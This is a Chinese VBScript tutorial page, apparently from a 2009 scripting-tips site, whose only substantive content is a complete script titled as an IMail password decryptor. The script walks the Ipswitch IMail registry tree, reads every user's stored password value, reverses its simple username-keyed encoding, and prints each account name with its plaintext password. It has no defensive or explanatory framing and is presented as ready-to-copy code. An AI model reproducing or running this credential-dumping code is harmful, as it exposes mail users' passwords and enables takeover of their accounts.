当前位置: 首页 > 图文教程 > 脚本技术 > VBScript > vbs imail 密码解密

VBScript
VBS教程:正则表达式简介 -定位符
VBS教程:正则表达式简介 -限定符
VBS教程:正则表达式简介 -字符匹配
VBS教程:正则表达式简介 -非打印字符
VBS教程:正则表达式简介 -特殊字符
VBS教程:正则表达式简介 -普通字符
VBS教程:正则表达式简介 -优先权顺序
VBS教程:正则表达式简介 -建立正则表达式
VBS教程:正则表达式简介 -正则表达式语法
VBS教程:正则表达式简介 -使用正则表达式
VBS教程:正则表达式简介 -早期起源
VBS教程:正则表达式简介 -正则表达式
VBS教程:正则表达式简介
VBS教程:属性-VolumeName 属性
VBS教程:属性-Type 属性
VBS教程:属性-TotalSize 属性
VBS教程:属性-SubFolders 属性
VBS教程:属性-Size 属性
VBS教程:属性-ShortPath 属性
VBS教程:属性-ShortName 属性

VBScript 中的 vbs imail 密码解密


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-11   浏览: 122 ::
收藏到网摘: n/a

复制代码 代码如下:

on error resume next
const HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
strComputer & "\root\default:StdRegProv")
strKeyPath = "SOFTWARE\Ipswitch\IMail\Domains"
oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, arrSubKeys
For Each subkey In arrSubKeys
wscript.echo "Domain: "&subkey
strKeyPath2 = strKeyPath&"\"&subkey&"\Users"
oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath2, arrSubKeys2
For Each subkey2 In arrSubKeys2
strKeyPath3=strKeyPath2&"\"&subkey2
strValueName = "Password"
oReg.GetStringValue HKEY_LOCAL_MACHINE,strKeyPath3,strValueName,strValue
if len(subkey2) and len(strValue) then
wscript.echo subkey2 &" : " & decrypt(subkey2,strValue)
end if
Next
Next
function decrypt(name,pass)
while len(name)<len(pass)/2
name=name&name
wend
for i=0 to len(pass)/2-1
p=mid(pass,2*i+1,2)
p="&H"&p
n=mid(name,i+1,1)
decrypt=decrypt&chr(clng(p)-asc(n))
next
end function